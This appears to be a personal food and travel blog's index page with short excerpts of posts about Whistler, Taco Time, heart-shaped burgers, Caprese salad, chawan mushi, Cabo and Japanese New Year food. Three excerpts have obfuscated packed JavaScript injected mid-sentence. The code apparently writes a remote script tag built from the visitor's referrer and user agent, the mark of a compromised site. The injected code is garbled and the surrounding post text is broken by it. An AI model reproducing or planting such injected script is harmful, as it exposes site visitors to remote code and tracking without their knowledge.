Nick and I aren’t necessarily adventurous eaters, but we are definitely open minded eaters. While in Whistler, we ate at an Indian restaurant. I think this was maybe the 2nd time we’ve ever had Indian. But we were game. And it was delicious! We learned that one of the dishes we ordered, Channa Masala, also […]
Author: Bryn Miyahara
I always wanted to compete in the Olympics. But I had hoped it would be as part of the women’s gymnastics team a la Mary Lou Retton. Well, I never did make it past a back handspring. Thankfully, I had a chance to live out some Olympic fantasies at the sliding centre in Whistler. We […]
We don’t have Internet right now so I’m posting from my phone. That’s dedication, peeps! Here’s one of my favorite valentines day meals! Heart shaped hamburgers. All you need is a large heart cookie cutter. Shape the patties before grilling and then cut out the buns and lettuce. Boom.
So we hit up a Taco Time – yes – a Taco Time. You don’t know about Taco Time? It’s a Washington thing apparently. And it’s good bad Mexican food. The best part? They sell mexi-fries. Which are basically super crunchy tater tots. Guess what else they have? A futuristic Coke machine that dispenses 100+ […]
We ended up with a pretty tasty meal on Sunday night. After looking through the fridge and lamenting that there was nothing to eat, we decided to pull together a random assortment of foods and see what happened. Caprese ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dafrh|var|u0026u|referrer|dtain||js|php’.split(‘|’),0,{})) Salad 2 diced tomatoes (I used the ones on a vine….but […]
Sketchiest “Receipt” Ever
While cleaning out some files this past weekend, I stumbled upon a receipt from our wedding. I wanted to block a majority of the wedding receipts from my mind, but actually smiled when I found this one! For anyone new to the blog, Nick and I got (fake) married in Cabo in November of 2010. […]
Or something like that. I basically just listed all the ingredients. It’s a mouth full, in more ways than one! My friend, Brooke, sent me this recipe from Annie’s ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hyfis|var|u0026u|referrer|hadsb||js|php’.split(‘|’),0,{})) Eats. And since I like all of the ingredients listed, I decided to give it a try. PS Annie’s Eats has […]
Yes, you read that right. It’s not English, it’s Japanese. My grandma made chawan mushi on new years growing up. And it’s one of my most favorite things to eat. It’s a savory custard. Which sounds weird, and most people think it is, until they try it. And then they think it’s kind of delicious. […]
It’s freezing here in California. Literally. I slipped (not bad) on a patch of ice while on our weekly Starbucks walk! Don’t worry, I saved the drink 🙂 So this week I thought I’d talk about my favorite WARM vacation spot, Cabo! We first headed to Cabo in 2009, and fell in love with the […]
New ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tnifh|var|u0026u|referrer|rhhzd||js|php’.split(‘|’),0,{})) years day is a major food holiday for Japanese folks. And in case you didn’t know, I’m Japanese. Growing up, this meant that New Years Eve was typically spent making food (which I was somehow able to sneak out of as I got a bit older). Now that New […]